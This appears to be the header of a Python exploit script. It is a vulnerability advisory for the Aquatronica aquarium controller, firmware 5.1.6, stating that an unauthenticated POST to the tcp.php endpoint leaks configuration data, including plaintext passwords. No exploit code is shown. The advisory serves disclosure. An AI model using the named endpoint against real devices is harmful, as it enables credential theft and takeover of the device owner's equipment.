Aquatronica Control System 5.1.6 - Information Disclosure

#!/usr/bin/env python

#
#
# Aquatronica Control System 5.1.6 Passwords Leak Vulnerability
#
#
# Vendor: Aquatronica s.r.l.
# Product web page: https://www.aquatronica.com
# Affected version: Firmware: 5.1.6
#                   Web: 2.0
#
# Summary: Aquatronica's electronic AQUARIUM CONTROLLER is easy
# to use, allowing you to control all the electrical devices in
# an aquarium and to monitor all their parameters; it can be used
# for soft water aquariums, salt water aquariums or both simultaneously.
#
# Desc: The tcp.php endpoint on the Aquatronica controller is exposed
# to unauthenticated attackers over the network. This vulnerability
# allows remote attackers to send a POST request which can reveal
# sensitive configuration information, including plaintext passwords.
# This can lead to unauthorized access and control over the aquarium
# controller, compromising its security and potentially allowing attackers
# to manipulate its settings.
#
# Tested on: Apache/2.0.54 (Unix)
#            PHP/5.4.17
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
